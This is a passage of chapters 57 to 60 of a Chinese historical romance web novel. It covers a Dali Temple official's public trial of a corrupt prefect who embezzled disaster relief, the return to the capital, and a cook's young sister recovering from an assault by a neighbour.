严州府的捕快将这所宅子翻了个遍,也没有找到他们要找的人,阚永明把宅子里的丫鬟婆子都带走了,说是要挨个审问。 府衙的人走后,杜七等人从韩泽床下把莺儿拖出来。莺儿脸上身上插满了银针,只有眼珠子能动。姚轻雪蹲在她身边看梁丘恩拔针。“现在多老实,就这么一直扎着不行吗?” “那可不行。”梁丘恩收好针,“这么扎半个时辰她这辈子就别想动弹了,这人留着还有用。” “可惜了。”姚轻雪颇为遗憾。 莺儿目眦欲裂,冲姚轻雪哼哼。梁丘恩怕姚厨娘一言不合再动手或是动嘴,人死了可就不好办了,他赶紧把莺儿拎走。 韩泽:“将死之人不必跟她计较。” “嗯。”姚轻雪走到床边,“要不要睡一会儿?”韩泽中毒又受伤,本该好好休息,可严州府不消停。 “睡不着。”韩泽摊开手掌,姚轻雪会心一笑,把手放到他手上。 这时门外有人喊了声:“曹叔!” 姚轻雪这才想起来,小声说:“曹叔很自责,觉得是他的离开才导致你遇险,你受伤后他一直没离开过你门前。” 韩泽轻轻叹口气,“你去把曹叔叫进来。” 姚轻雪打开门,把曹叔喊进去,她在门外站着。不知韩泽说了什么,重新出门的曹叔脸上轻松了许多。 “我以为曹叔是一般的老人家,只是比我爷爷身体好些罢了。”姚轻雪感慨自己看走了眼。 韩泽眼睛要睁不睁地说:“曹叔当过兵,功夫不弱。他家里没有亲人便留在将军府做事,这么多年都是他照顾我。” 见他乏了,姚轻雪没接话,不多时韩泽便睡了过去。姚轻雪走出房间,此时天已经黑下来。她突然想起宅子里的人还没吃晚饭。丫鬟婆子全走了,晚膳谁做呢? 姚轻雪去灶房,就见段文德正指挥人切菜、生火,七位县令和他们的小厮们正忙着做饭。十多个人使原本很大的灶房都显得拥挤了。再去看某位县令大人切的菜,长短不一、粗细不等,姚轻雪把人都赶了出去,只留下三名小厮给她打下手。戌时好歹让大家吃上了饭。 在宅子里没有搜到人,府衙的捕快一直在外面守着。这天夜里所有人都没有宽衣,就怕 有个意外。姚轻雪在韩泽屋里打地铺。大理寺众人更是一夜没合眼。他们要保护韩泽,要巡视宅子,免得再被什么人钻空子。 好在这一夜有惊无险。次日上午杜七高兴地跑进来,“大人,刘将军已经到城外了,很快就可以进城。” “好!”韩泽大喜。“事不宜迟,即刻去府衙。” 七县县令同样喜不自禁,这两日他们过得胆战心惊,生怕不知什么时候不明不白地死了。 韩泽换上官服,七县县令也换上县令的官服。宅门打开,门外捕快见势想去府衙通知,让大理寺众人拦下。 杜七高声道:“阚永明犯下重罪,今日大理寺就将他绳之以法,尔等若想活命便放下武器,听从韩大人差遣。” 第57章 第57章公审 府衙捕快你看看我,我看看你,不约而同扔了手里的刀。他们不傻,知府眼看着不行了,谁还傻乎乎地为他送命。 “很好!”高飞满意地点点头,“众捕快听令,随我等保护韩大人和诸位县令去府衙公审阚永明。” 韩泽身子虚走不快,有捕快找来一辆马车载着韩大人。 两刻钟后府衙门口,关良看见这群人腿就是一软。不是重伤吗?怎么这么快就来了。看这架势今日怕是不能善了啊。 关良硬着头皮迎上来:“韩大人,您伤还未好怎么出来了?有什么事吩咐一声便是。”他边说边去看府衙的几名捕快,捕快们看天看地就是不看他们的上官。 韩泽:“关良,你的手下比你识时务,事到如今不要再心存侥幸了,本官希望你弃暗投明,为自己谋条生路。” 关良心里叫苦,他所做之事就没有生路可言。“下官不明白韩大人的意思。” “执迷不悟。”韩泽话音刚落,刘奎韩羽上前将关良两手钳住。他想说什么,杜七抽出刀往他脖下一放,关良立即就哑巴了。 阚永明得到消息,被人抬出来。他身后跟了不少人,要比韩泽这边多得多,且全都带着武器。高飞等人手握佩刀挡在韩泽身前。 两方剑拔弩张,正在这时只听阵阵马蹄声由远及近。 大家都往远处看,滚滚烟尘中一面军旗迎风招展,一队轻装骑兵策马狂奔而来。在很多人目瞪口呆时人马已经到了府衙门口。 刘将军从马上下来,径直走到韩泽面前:“听说你这边情况紧急,怎么样?赶上了吧。”他前些年去京述职见过韩泽,对他像对待家中小辈。 韩泽躬身行礼:“多谢刘将军前来相助!” “哎?”刘城发现韩泽脸色不好,胳膊还不能动,“你这怎么搞的?受伤了?” “被歹人所伤,不碍事。” “哪个干的?”刘城虎目圆睁,瞪向阚永明,“是你这个王八蛋?” 阚永明:“……”粗鄙武夫。 韩泽往边上看了一眼。梁丘恩把肩上的麻袋往地上一扔:“这便是伤韩少卿之人,她乃安国公府余党。” 阚永明心道完了,韩泽什么都知道,还把那女人活捉了。昨晚就该不顾一切杀了韩泽和那个女人,杀完再嫁祸给安国公府余党或许还有一线生机,此刻他肠子都悔青了。 刘城人马已到,韩泽再无顾虑,他看向阚永明:“贪墨赈灾钱粮,致使无辜百姓家破人亡、流离失所。本官奉命调查,你又与安国公余党勾结试图毒杀本官,阚永明,你可知罪?” “你不要血口喷人。”阚永明一急,从椅子上走下来,他的腿果然是装的。众人都像看傻子一样看着他。 “来人,将人拿下。”刘城是军人,不会跟他多费口舌,直接把阚永明绑了。“其他人听着,想活命的就不要抵抗,敢往前一步——杀!” 刘城面容威严、不怒自威,身上杀气又重,府衙捕快和护卫两股战战。跟韩泽回来的捕快不忍昔日同僚送死。都出来劝解:“兄弟们,韩大人说了我们可以将功补过,阚永明做的事跟咱们没多大关系,大家可别为了他丢了性命啊。” 本来意志就不够坚定,再有人游说,这些人便顺势放下刀剑,能活命谁想死?他们犯下的错罪不至死,犯不上为阚永明搏命。 没有了阻碍,韩泽叫人在公堂之上摆好桌椅,又让人押着关良去拿去年严州府赈灾账本。七县县令各自找好位置、拿出账本,准备大干一场的架势。 韩泽坐在“正大光明”匾额之下,对阚永明道:“知府大人,就等你了。” 阚永明被人松开绳子,一步一步走向公堂,这条路他走了无数次,没有哪一回走得这么煎熬,像是被架在火上烤。 “大人!”一身褴褛的陈九跑进来,“大人,我回来了。” 韩泽问他:“你去哪儿了?怎么这身打扮?” “大人,我把严州府的乞丐都带来了。”陈九一抹鼻子,“您不知道有人想杀他们,幸好属下赶过去,我等把人都救了下来,我们是跟刘将军一起进城的,就是跑着没他们骑马快。” “做得很好。”韩泽脸上露出欣慰的笑。 陈九难得在他家大人脸上看见笑,看来他这趟差事做的不错,他挠挠头嘿嘿笑。杜七在他肩上打了一拳:“好小子,终于出息了。” 陈九:“嘿嘿,多亏大人栽培和七哥教导。” 韩泽:“闲话少说,陈九你将乞丐们带到堂下。杜七,将衙门外的百姓都放进来,并且派人鸣锣宣告,大理寺要公审严州知府阚永明,任何人都可来旁听。”他弄这么大阵仗就是要将事情传出去,传得越广越好。 大理寺众人都行动起来,有刘城的军队在,无人敢造次。姚轻雪站在堂外看了会儿,决定去准备吃食。快午时了,这个账不知要对到什么时候,她帮不上忙,唯一能做的就是让几位县令填饱肚子。 姚轻雪跟高飞打了声招呼,与曹叔去买菜,路上她琢磨做什么吃食好?看样子公审得一鼓作气,怕是不按死阚永明不会停下来。寻常饭菜和带汤水的肯定不行。最后决定做饭团。放上熟肉、菜再加上盐,随时往嘴里塞一个饭团,不耽搁查账。 两人先去买了肉和菜,回到府衙把厨子和婆子全都赶出灶房,这些人姚轻雪一个都不敢用,正是关键时候不能让任何人接触她做的食物。 半个时辰后,梁丘恩和刘圭过来拿吃食。姚轻雪将一盆捏好的饭团给他们。“先做了腊肉青菜饭团,先带过去,等会儿再过来取肉渣饭团。”腊肉在街上买的,回来煮了米饭就开始捏。而猪肉才刚刚煮熟,要炒一下味道才好,所以要费些时间。 看着丸子般大的饭团,刘圭喜道:“姚厨娘想得周全,一口一个正适合此时食用。辛苦了,我替大家先行谢过。”他和梁丘恩抬着饭团走了。 姚轻雪擦了额头上的汗,捞出煮熟的猪肉切碎、下锅炒香后放进米饭里,再放一些青菜搅拌均匀,然后捏成饭团。那些饭团拿到堂上,很快就被吃干净。七县县令边吃饭团边对账,还不耽搁与阚永明唇枪舌战。 刘城吃了几个饭团觉得不过瘾,但看看其他人边干活边吃饭团,他也不好意思再吃,便溜达到灶房。 曹叔和姚轻雪都认得他,赶紧行礼:“拜见刘将军!” “嗯。”刘城点点头,眼睛往已经拌好的米饭上瞟。这一路他和手下吃的都是干粮就水,现在闻到肉味儿就很馋。 姚轻雪哪能看不出来,“将军若不嫌弃,我给您做个炒饭。” “好!”刘城磕巴都没打一个,立即就答应了。 炒出来的熟肉还有,姚轻雪看了看和刘城一起来的两名卫兵,三人三大碗米饭该是够了。她生火烧油,一盏茶的功夫香喷喷的炒饭出锅。 刘城和两名亲卫一人一大碗,姚轻雪切了点青菜,打算凉拌了给他们解腻。等菜拌好,回头就见三人已经快把炒饭吃完了。 看见姚轻雪手里端着拌菜,刘城道:“我等都是粗人,让姑娘见笑了。” “将军严重了。”姚轻雪将菜放到他面前,“您和将士们不辞劳苦来为韩大人解围,按理说该好好做一桌饭菜,但眼下不是时候,还请将军见谅。” 听她这么说,刘城问道:“你是韩泽带来的?” “正是。”姚轻雪道,“将军,不知各位将士的饭食可有忌讳?” “你打算给我的人做饭?”刘城放下碗,“人可不少啊。” 三百人的饭不好做,尤其是没做过大锅饭的厨子,肯定手 忙脚乱。刘城见姚轻雪柔柔弱弱的一个姑娘,不太确定她行不行。 姚轻雪笑道:“人多有人多的做法,韩大人已经派人去买腊肉,本地的腊肉味道不错,我打算做腊肉焖饭和肉渣炒饭,就是不知合不合众位将士的胃口。” 刚刚梁丘恩过来时,姚轻雪让他问韩泽,刘城的兵怎么解决午饭,按理说人家过来帮他,韩泽该把后顾之忧解决了。但眼下他忙着治阚永明的罪,府衙的厨子又不敢用,这个事只能由姚轻雪来做。 “当兵的没那么多讲究,吃饱就成。”在军营士兵们伙食也没这么好,有肉便是好饭。“那便劳烦姑娘了。” 一碗炒饭刘城显然没吃饱,不过他决定留着肚子等会儿吃腊肉焖饭,他觉得这厨娘年纪轻轻手艺不赖,还把他带来的俩伙夫喊过来供姚轻雪差使。 刘将军刚走,梁丘恩就将腊肉送到灶房。姚轻雪将腊肉放得很足,只把刘城的手下都吃得挺着肚子走路。 做完饭,姚轻雪也是累得直不起腰,她把灶房交给府衙的丫鬟婆子收拾,她和曹叔去前面看热闹。 公堂这边已经有了结果,府衙的每一笔赈灾款项都与各县的账目对不上。阚永明想狡辩都说不出个子丑来。 韩泽将阚永明贪污的钱粮当中公布,“在这片青天之下,百姓盼望有人替他们谋福,这个人原本该是你阚知府,可你却辜负了百姓们的拥戴和陛下的厚爱。阚永明!你可还有何话说?” 大势已去,阚永明突然像老了十岁。他惨笑:“成王败寇,落到你手里没什么好说的,要杀要刮悉听尊便。” 堂下乞丐们气红了眼,蜂拥而上要撕了他们曾经的知府。 第58章 第58章返京 好几十号人一拥而上,都跟疯了似的,衙役们拦都拦不住。 “咚!”刘将军将长戟往地上重重一磕,这一下竟将青石砖砸得粉碎。红了眼的乞丐们顿时冷静下来。 韩泽走出来劝说:“我知大家心里有恨,本官也恨不得现在杀了他。阚永明死不足惜,但不该死在你们手上,不要为了这种人脏了自己的手。” 有人跪地掩面痛哭,“为什么要这样对我们?让他还我妻儿的。” 悲伤的情绪很快蔓延开,乞丐们纷纷跪在地上失声痛哭,嘴里念叨着亲人的名字。 严州府衙哭声震天,前来旁观的百姓无不流泪。韩泽并未阻止,抓了阚永明只是让这些人出了口恶气,却并不能让他们受伤的心灵得到多少抚慰。 都哭够了,一位老者起身对着韩泽跪下去,“多谢大人为我等做主,请受小老儿一拜。”其他乞丐也跟着老乞丐要跪拜韩泽。 “使不得。”韩泽上前撑住老乞丐的两条手臂,将人扶起来,“我等俸禄皆来自民之脂膏,却让尔等痛失至亲、流离失所,韩某心中有愧,不配受拜。” “大人!”老乞丐老泪纵横,“您受得起,没有您我也死在山洞里了。您、哎?大、大人?” 韩泽直觉头脑发沉,在众人的注视下直挺挺往后仰去,还好高飞和韩羽一直护在左右,及时将人扶住才没让韩大人摔在地上。 杜七对乞丐和百姓们拱手:“各位乡亲,韩大人昨日遭到刺杀差点没命,身中剧毒外加刀伤,今日公审都是强撑着,此刻已是强弩之末了,不周之处还请大家谅解。” 百姓们发出惊叹,原来阚永明还想杀京城来的官差?丧心病狂啊,人群在对阚永明的咒骂声中逐渐散去。 昏过去的韩大人被抬去府衙客房,韩羽找来郎中开了药。姚轻雪见他脸两颊通红,心跟着抽疼。前几个月他受了那多次伤都能走能动,这次中毒是真的伤了根本。姚轻雪恨不得给莺儿一刀解气。 在曹叔将药煎出来前,姚轻雪用烈酒给他降温。感到一阵阵清凉的韩泽悠悠转醒,看见床边皱巴巴的脸,他扯了扯嘴角,“死不了。” 姚轻雪瞪他,“不许说不吉利的话。” “好!”韩泽抓过她的手,指腹在圆润的指尖轻轻摩挲。“下雨了?” 窗外传来“吧嗒吧嗒”的声响,他话音刚落,只见窗外狂风大作,远处黑压压的乌云翻滚而来,一道闪电划破天际,紧接着就是“咔嚓”一声响雷,雷声像是要将天地劈开,震得人心里发麻。姚轻雪赶紧将窗户关上,片刻后大雨像瓢泼一样下起来。 这场雨来的突然,下的又大又急,足足下了三天,严州城内水都没过小腿了。有人说这雨是死去百姓的眼泪,流完了泪尘归尘土归土大家就都去投胎了。 韩泽在床上躺了三天,姚轻雪的心情跟这天气一样沉闷,她衣不解带地守在他身边。 此时刘城终于看出点苗头,他原本以为姚轻雪只是大理寺带过来的厨子,可哪有厨子对主子这么温柔体贴的?跟媳妇差不多。他问大理寺姚轻雪是韩泽什么人? 杜七等人但笑不语,还是曹叔实诚,给了他一句准话。“不出意外,姚姑娘就是少爷要娶的人。”那日俩人在屋里腻味可没瞒不过他。 刘城一拍大腿,“我就说嘛,一群大男人外出怎么偏带个厨娘来,多不方便。韩泽年纪不小了,是该成家了。”刘将军开始琢磨韩泽成亲他送什么礼好呢? 雨停后,县令们陆续过来辞行。都是一方父母官,府衙的事情已经了了,他们得尽快赶回去。唯有段文德迟迟不走,韩泽知道他在等什么。 在阚永明公审后的第五天,高飞终于从关良嘴里撬出巴县县丞乔度年的尸身所在。 尸体被胡乱埋在野外,连口棺材都没有。众人挖开土时,乔度年已经成了一副白骨,血肉已经被蛇鼠啃食殆尽。 段文德失声痛哭,一介县令毫无体面可言,眼泪鼻涕横流,然而此时没人会说他失仪。韩泽叫人买了一副好棺木,装殓乔县丞的尸骨。随后刘将军派人护送段文德和乔度年灵柩回巴县。 阚永明和关良被关进死牢,可大理寺众人并不轻松。府衙两个头都没了,很多事需要人处理。尤其是秋收已过,府衙需要征收赋税。 韩泽一边处理府衙的日常事务,一边把阚永明和关良的家都抄了,所有财产都是赃物,大理寺要带回京城的。 “大理寺走到哪儿都不忘抄家。”伺候人用饭的姚轻雪忍不住调侃。韩大人能下床行走,也能处理公务,就是不能端饭碗。让他换另一只手试试,他还委屈,没办法姚厨娘只好亲自喂他,谁叫她心软又心疼呢。 “人都要死了,脏银自然得追回来。”韩泽道,“这边的事情快完了,过两日便要返京,来时答应你的游山玩水怕是要食言了。”阚永明和关良一日不到京城,他就一日不能安心。 “这种时候我哪还有心思游玩。”姚轻雪小心地往他嘴里送去一勺饭,“我听说阚永明背后有人,到了京城他会不会脱罪?” 杜七说阚永明和皇上的叔父宁王是连襟,有这层关系,陛下能杀阚永明吗? “脱罪的可能性不大。”韩泽道,“阚永明贪污赈灾钱粮案,是皇上登基以来首次贪污赈灾款的大案,陛下要杀鸡儆猴,不会轻易放过阚永明。” “那便好。”姚轻雪松了口气。“若是让阚永明卷土重来,他第一个就不会放过你。” 韩泽轻笑:“就这么担心我?” 姚轻雪瞪他,“不担心你担心谁?自打我认识你,你都受过多少次伤了?这次是运气好,下次呢,你能次次躲过去吗?万一、”她不忍说出口。 “没有万一。”韩泽屈起手指蹭了蹭姚轻雪的面颊,“我命大,没那么容易死,有你我也舍不得死。”姚轻雪嗔他一眼。 韩泽要尽快押送犯人回京复命,他不能在这里耽搁太久,但严州府不能没有主事人。他便请刘城暂时代理严州知府一职。 刘城为难地挠挠头,让他带兵打仗没问题,多强的敌人他都不怕,但要管理府衙他不太有信心, 主要是管理文人和带兵完全是两码事。 韩泽给他推荐了原来府衙的一名书吏,这位书吏日常负责纪录和抄写之职,对府衙的各项流程和事务都很了解。这两日大理寺对府衙的任何疑问都去找这位书吏。 此人有些本事,重要的是没有与阚永明同流合污,大理寺搜集出来的阚永明和关良的其他罪证大多出自这位书吏之手。 再者,府衙做事的人大多还在,刘城并不需要亲力亲为,他只需要往那一座,便不敢有人趁乱谋私。 刘城知道韩泽急着回京,勉强答应下来,送他们上船时,他一再叮嘱韩泽回去后赶紧让陛下派人过来接手这烂摊子,他离开军营也不能太久。 载着大理寺众人的船缓缓离开浦西渡口,姚轻雪看着岸上一点点变小的人影,长长舒了一口气。来时兴高采烈,经历一场生死后,来时的兴奋荡然无存。韩泽身体还很虚弱,她只想快些回到京城。 回去时遇上了两场不大不小的雨,所以耽搁了点路程,用了七日才到达京城渡口。大理寺早就往京城传了信,等他们下船时,几辆囚车已经等在渡口了。 “大哥!辛苦了。”韩浩迎过来,“陛下派我过来接应。”韩浩很快发现他大哥一脸病容,“大哥,你脸色怎么这么难看?可是病了?” 韩泽道:“受了点伤又中了毒,身体有些亏损,没什么大事。” 这还叫没什么大事,韩浩正想细问,就见大理寺的人押着几个囚犯走下船。 阚永明和关良披头散发、脸色蜡黄,不到半月这俩人形容枯槁与难民有的一比。 韩泽走到阚永明面前:“受饿的滋味如何?那些因你而死的百姓,死前日日都受这样的折磨和煎熬,哪怕你有一点良心也不会做出这等灭绝人性的事情来。” “阚大人放心!”韩泽面容冷峻,“你死之前会尝尽这种滋味儿。”从那日公审后,他就让人用米汤吊着这二人的命,不死就行,阚永明和关良这些日子就没吃饱过。 此时两人脚步轻浮、走路的力气都没有,全靠刘圭等人提着。阚永明双目喷火,不停地呜呜叫着,奈何嘴被勒住说不出半个字。 阚永明等人和莺儿被押上囚车。姚轻雪最后看了一眼他们便登上马车。她不信鬼神,却希望这世上有因果报应,至少可以慰藉死去的亡灵,给活着的人一点希望。 走时还是秋风送爽,回来时京城的人们已经穿上了薄棉衣。姚轻雪披着披风坐在马车里。 离开将近一个月,不知家里怎样了?爷爷和奶奶有没有听话好好待在家里?芽芽是不是长高了? 第59章 第59章芽芽重伤 韩泽随禁军进宫面圣,其他人各回各家,离家这么久谁心里都惦记早些回家。 回到葫芦巷,姚轻雪下了马车便“哐哐”砸门,“爷爷奶奶芽芽,出来搬东西啦。”她声音里都透着欢快。 这一趟她虽然没逛成风景,却带回来不少严州府的特产,如严州老酒、云眉茶和老腊肉。严州的腊肉很特别,是放在果木上慢慢熏一到两个月,比京城的腊肉香味浓郁、回味悠长。韩泽都赞不绝口,姚轻雪带回来不少。 敲了几下没人应,大门没锁,推了两下却没推开,应该是从里面插上了。姚轻雪纳闷,难道是睡着了?但是天还没黑啊,再说也不能三口人都睡着了,总该有个人听见响动了? 车夫知道她跟大理寺少卿关系匪浅,见她进不去家门,便提议:“不如我翻进去将门打开。” “也好。”姚轻雪道谢,“麻烦了。” 车夫三十多岁、手脚麻利,他站在车上没费什么劲就翻到院里,将插着的门栓拿开。然后他帮着把东西搬到院内才走。 院门口这么大动静也不见屋里出来人,姚轻雪顾不上归置东西,快步进屋,她各个屋找了一遍,家里竟然一个人都没有。 通常家里不会离人,姚轻雪有些担心,便敲开隔壁的院门。赵氏见到她,眼中露出喜色:“哎呀,你总算回来了。” “婶子!我家里怎么没人?您知道我爷爷奶奶和妹妹去哪里了吗?” “他们在医馆呢,芽芽受伤了。”赵氏急切道,“昨日他们走得急,门都没来得及锁,我家大宝翻墙进去把门从里面给插上了。”大宝是赵氏的儿子。 姚轻雪大惊:“受伤了?严重吗?” 赵氏叹口气:“芽芽伤到头了,在回春堂呢。” 回春堂是京城很有名的医馆,据说家中有人在宫中做御医。家族中人都是医术了得,求医者络绎不绝,想要看病得提前约时间。通常需要十天半月才能瞧上病。普通人只有在别的地方看不好才会提前约时间去回春堂。但急症和外伤者除外,可立即得到回春堂救治。以此推断芽芽可能伤得不轻。 姚轻雪道了声谢,回家拿了锁头锁上大门便往巷子口跑去。昨日爷爷奶奶和芽芽就去了回春堂,昨晚都没有回家。芽芽到底伤成什么样? 她租了马车,忐忑不安地来到回春堂,医馆伙计过来招呼,姚轻雪说明来意。伙计将她带去后院的一个房间。 姚福和刘氏神哀伤地守在床边,床上的小孙女头上绑着白布双眼紧闭。从昨日芽芽就一直昏睡,到现在都没有醒来,郎中说人醒过来命就能保住,醒不过来就准备棺材吧。 芽芽来他们家虽然时间不长,但她和老头子早把她当成亲孙女,跟大孙女没有两样。孩子躺在床上生死未卜,刘氏的心跟刀割一样难受。 “爷爷奶奶!” 听见唤声,刘氏以为自己一宿没睡出现了幻觉。姚福的一声“雪儿!”才让她回过神,刘氏看见大孙女大哭出来:“你终于回来了,芽芽她、” “芽芽!”姚轻雪扑到床边,看见脸色惨白的妹妹心如刀绞,“郎中怎么说?” 姚福把郎中的话复述给她听,“别家医馆都不敢收,说是没的救了,街上巡逻的官差认得我,便把芽芽送来了这里。” 官差认识姚福姚轻雪不奇怪,应该是韩泽走之前交代了某些人关照她家里。“芽芽怎么会伤这么重?”她把手伸进被子里握住芽芽小小的手掌。 “不知道。”姚福叹口气,“昨儿晌午我和你奶在屋里歇晌,听见有人敲门大喊,我出去就看见芽芽倒在大门外,脑后全是血。喊人的是陈家娘子,她说从外面买东西回来就看见芽芽躺在地上,没瞧见有旁人。不知道是芽芽自己摔的,还是被人伤的。” 姚轻雪心情沉重,芽芽向来乖巧听话,登高爬墙的事从来不做,平常的摔跤怎么能伤这么重? 这时一位老者走进来,姚福和刘氏行礼,“许郎中!”姚轻雪起身行礼问好后迫不及待地问:“我妹妹怎么样了?她何时能醒过来?” 许郎中走到床边两指按在芽芽的手腕上,片刻后道:“看今晚能不能挺过去吧。” 刘氏靠在姚福身上捂着嘴无声哭泣,姚轻雪也模糊了双眼,她给郎中行了一礼:“还请您救救我妹妹,多贵的药我都用。” 许郎中叹口气:“醒不过来什么药都没有用。”他看了一眼姚轻雪,“大理寺卿陆大人与我家兄长有些交情,昨晚家兄特意从宫中过来给你妹妹施针,只要人能醒过来一切都好说。”孩子这么小,又伤在头部,即便是御医也束手无策,只能看运气了。 姚轻雪惊讶,没想到陆大人亲自出面请了御医,既然是御医给出的诊断,怕是除了芽芽自己醒过来,也没有别的法子了。 “多谢!”姚轻雪又行一礼,许郎中摆摆手走了。 姚轻雪擦了擦眼泪,把身上的钥匙拿出来:“爷爷奶奶,你们回家休息,今晚我来守着芽芽。” 姚福:“这个时候我们怎么能走啊。” “爷爷,你看看奶奶的脸色。”刘氏本来就有心疾,昨晚又是一宿没睡,再加上伤心过度,此刻已是摇摇欲坠,再这样下去怕是她也得看 郎中了。 “芽芽吉人自有天相,一定会没事的,你们回去好好休息,明天再过来就能看见芽芽醒来了。” 姚福点点头,“好吧。”他扶着刘氏走出房间。 听说昏迷不醒的病人,在她耳边说话她都听得见。姚轻雪坐到床边握住芽芽的手。“芽芽,姐姐回来了,你怎么还睡呢?姐姐给你买了好吃的,还有漂亮的珠花……” 姚轻雪对着昏迷不醒的芽芽不停地说话,直到口干舌燥、嗓子沙哑,她还是不厌其烦地说着。 韩泽进来见她这样,心里也不好受。他进宫面圣,出宫后陆大人跟他说了姚家小姑娘的事,他让曹叔回将军府报平安,他自己直接来了回春堂。 “喝点水润润嗓子。”韩泽给她端来一碗温水。 姚轻雪喝了口水,看着床上的妹妹喃喃道:“芽芽的命为何这么苦?亲爹娘不要她,养父母要溺死她,我以为我能她一个家,至少让她平安长大,结果一样难逃厄运。” 韩泽看了一眼床上的小姑娘,这孩子的身世果然有问题,雪儿不说他便不问。“会醒过来的,别灰心。” 姚轻雪双手捂脸低声呜咽,韩泽把人搂进怀里。“磨难过后便是福报,等芽芽醒来她今后的人生定会顺风顺水、福泽绵长。” “嗯。”姚轻雪张开双臂搂住男人,“芽芽一定会熬过去的。” 哭了一会姚轻雪继续和芽芽说话,韩泽帮不上忙,只好在一旁陪着。 “大人!姚姑娘!”高飞和杜七等人竟也来了。他们先回大理寺复命,然后准备回家,听同僚说了姚家的事,匆匆回家放下东西来了回春堂。 “你们来的正好。”韩泽道,“姚轻鸿受伤或许不是意外,辛苦大家去一趟葫芦巷。”原本可以等小姑娘醒来再问,但芽芽万一醒不过来,或是让罪魁祸首跑了,哪种情况都很麻烦,所以越快查越好。 高飞:“是,我们这就去。” 姚轻雪擦了擦眼泪,起身深深一个鞠躬,“什么都不说了,我谢谢大家!” 杜七虚虚扶了一下,“姚姑娘不必如此,你虽不是我等同僚,但这些日子咱们也算共患难,你家人出事我们不会坐视不管。你且陪着妹妹,若这孩子受伤不是意外,我等定会将犯人抓住。” 这一夜葫芦巷注定不会太平。这一夜姚轻雪过得非常漫长。 当天边泛起鱼肚白,芽芽仍然没有醒来的迹象,姚轻雪的心跌到谷底,她终于忍受不住趴在床边嚎啕大哭。韩泽心有戚戚焉,也红了眼圈。 许久后,“姐!”一声微不可闻的声音让姚轻雪的哭声戛然而止,她猛地直起身看妹妹。 芽芽还闭着眼,但嘴唇翕动,姚轻雪凑过去仔细听,就听小姑娘嘟囔:“姐你好吵哦。” “醒了,芽芽醒了。”姚轻雪高兴的手舞足蹈,她不敢碰妹妹,就扑到韩泽怀里蹦跶。 许郎中看过后道:“命保住了,她脑中有淤血暂时不宜移动,在这里住上三日再回家休养。” “谢谢您!”姚轻雪对老郎中又是一礼。 许郎中点点头,然后看向韩泽,“韩少卿脸色不大好,可是身体有恙?”托兄长的福,他认识不少朝中重臣和世家勋贵。镇远大将军嫡子、大理寺少卿自然也认得。 韩泽颔首,“前些日子中了毒,宫中御医已为韩某把过脉,劳您挂心了。” “那便好。” 许郎中前脚刚走,杜七就来了。“大人!姚姑娘!犯人抓住了,是葫芦西巷的杨兴旺。” “是他?”姚轻雪气道,“他为何要伤我家芽芽?” 第60章 第60章手牵手、脸对脸 杜七:“为了你家的猫。” “小白?”芽芽面色急切地看过来。 杜七笑着对芽芽说:“小白找回来了,等你伤好回家就能看见小白。”昨晚知道猫卖给了谁,他们没耽搁半夜去砸门把猫赎了回来。小姑娘为了猫差点没命,找不到猫没法跟孩子交代。 “谢谢!”芽芽眼里露出笑意。 杜七继续说道:“我们去葫芦巷时你爷爷奶奶正在找猫,你家那猫我见过,值不少钱。” 姚福和刘氏说小白轻易不离家,但他们把屋里屋外都找遍了,左邻右舍也问过了,都说没看见小白。高飞就有了一个猜测,然后大理寺以找猫的名义把葫芦巷挨家挨户走了一遍。 走到杨家时,杨兴旺关着门不露头,也不让进屋。早前杨家母子和姚轻雪起冲突时杜七就见过这母子俩的德行,他不由分说踹开杨兴旺的房门。猫没有找到,却发现杨兴旺的手有被猫挠过的痕迹。 高飞和杜七等人一吓唬,杨兴旺就招了。“杨兴旺在别处见过与小白相似的猫,听说值钱便动了歪心思,昨日他想抓在墙头晒太阳的小白去卖,不巧被你妹妹看见,你妹妹跟他抢小白时不小心摔倒,头撞到墙,杨兴旺害怕就跑了。” “不是。”芽芽急着道,“他说谎。” 韩泽与杜七对视一眼,走到床边:“为何说他说谎?” 芽芽抿着嘴看姐姐,姚轻雪握着妹妹的手:“不要怕,姐姐回来了,不会再让人欺负你,韩大人一定不会放过他,他可是大理寺的大官呢。” 芽芽小声说:“他按着我的头往墙上撞。” “畜生。”姚轻雪气得肺都要炸了。杨兴旺这是想杀了芽芽啊,她下意识地握紧了拳头,指甲扎进肉里都毫无所觉。 韩泽发现后掰开她的手,“故意杀人流放千里,我会送他去岭南,杨兴旺这辈子别想再回京城。”岭南环境恶劣,再加上繁重的劳动,杨兴旺挺不过三年。 姚轻雪长舒一口气:“好!” 她心眼小,就是希望杨兴旺死,如果这次律法不能惩罚他,以后她也不会让杨兴旺好过。有钱能使鬼推磨,她不介意花银子用下三滥的手段让杨兴旺生不如死。 杜七走后不久,姚福和刘氏急匆匆赶来。他俩看见韩泽先是一愣,而后看见芽芽醒过来便也顾不上韩大人了。刘氏又哭又笑,直喊老天保佑。芽芽还很虚弱,吃了药便沉沉睡去。 看着爷爷奶奶高兴的样子,姚轻雪勾了勾韩泽的手指,小声道:“谢谢!”谢谢他让人照看家里,谢谢他及时抓住杨兴旺。 韩泽反手握住姚轻雪的手,侧头看她:“应该的,今后芽芽也是我妹妹。” 这句话让姚轻雪非常受用,望向男人的眼神中充满了柔情和依恋。 刘氏给小孙女掖了掖被子,一转头就看见旁边站着的俩人手牵手、脸对脸。 刘氏:“……咳咳!” 姚轻雪赶紧摆正身子、把手抽出来,她心虚地去看刘氏,离京前答应奶奶回来就从韩家辞工,现在不但辞不了工,可能后半辈子都得在韩家了。 刘氏叹口气,起身给韩泽郑重行一礼:“多谢韩大人帮忙找到害我孙女的犯人。” “您客气了。”韩泽抬手扶了一下,“抓捕犯人乃韩某分内之事。” “韩大人早些回去休息吧。”刘氏看了一眼姚轻雪,“雪儿也回去吧,这里有我和你爷爷呢。”熬了一夜,孙女双眼通红。 “好,晚上我过来换你们。”芽芽要在这里待上三日,他们得轮流照看,不然熬不住。 目送他们离开,刘氏叹气道:“怕是挡不住了。” “让雪儿自己拿主意吧。”姚福刚刚也将两人的举止看在眼里,“芽芽出事,若不是有大理寺和韩大人出面,我们连医馆都找不到,咱们欠人家的。” 刘氏哪能不知道,姚家与韩家不对等,想要还这份人情都难。 两人走出医馆,姚轻雪被日光晃了下眼,韩泽抬手给她遮太阳。“去吃早膳吧,昨晚你就没吃东西。” 被他这么一说,姚轻雪顿时觉得肚子饿得不行。昨晚回春堂给她准备了饭菜,但芽芽生死未卜她哪里吃得下。 往四周看了看,医馆左右有不少食肆。姚轻雪一指 卖羊汤的招子,“我要吃那个。” 因是大清早,两人是店里的第一波客人,姚轻雪点了两碗羊肉汤和一笼羊肉烧麦。 